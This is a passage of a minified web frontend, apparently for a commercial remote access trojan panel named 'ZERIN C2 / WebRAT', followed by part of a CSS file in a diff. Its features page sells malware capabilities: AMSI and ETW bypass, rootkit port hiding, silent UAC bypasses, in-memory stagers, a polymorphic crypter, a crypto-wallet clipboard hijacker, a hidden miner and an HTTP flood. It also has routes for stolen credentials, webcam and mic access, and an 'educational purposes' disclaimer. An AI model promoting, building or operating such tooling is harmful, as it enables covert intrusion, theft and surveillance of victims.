new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function dS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const VV=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function Jb({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(Jb,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(Jb,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const KV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function GV({cat:e,index:t}){const{ref:n,visible:r}=dS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(KV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(HV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function YV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function oc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function qV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(VV,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(YV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(oc,{value:String(s),label:"Capabilities"}),a.jsx(oc,{value:"13",label:"Persist Methods"}),a.jsx(oc,{value:"11",label:"Rootkit Hooks"}),a.jsx(oc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(GV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function lc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function XV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function ew({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function ZV(){const[e]=Cx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Px(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function QV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):_x()?a.jsx(l_,{}):a.jsx(la,{to:"/login",replace:!0})}function JV(){return a.jsx(z6,{children:a.jsxs(OE,{children:[a.jsx(mt,{path:"/",element:a.jsx(QV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(ZV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(qV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(UV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(ew,{children:a.jsx(c_,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(ew,{children:a.jsx(u_,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(lc,{children:a.jsx(NV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(lc,{children:a.jsx(EV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(lc,{children:a.jsx(AV,{})})}),a.jsxs(mt,{element:a.jsx(lc,{children:a.jsx(t_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(HU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(xV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(wV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(BV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(XV,{children:a.jsx(LV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Lm.createRoot(document.getElementById("root")).render(a.jsx(Oh.StrictMode,{children:a.jsx(FE,{children:a.jsx(JV,{})})})); diff --git a/dist/assets/index-iSOoMWmU.css b/dist/assets/index-iSOoMWmU.css new file mode 100755 index 0000000..f7a9d23 --- /dev/null +++ b/dist/assets/index-iSOoMWmU.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 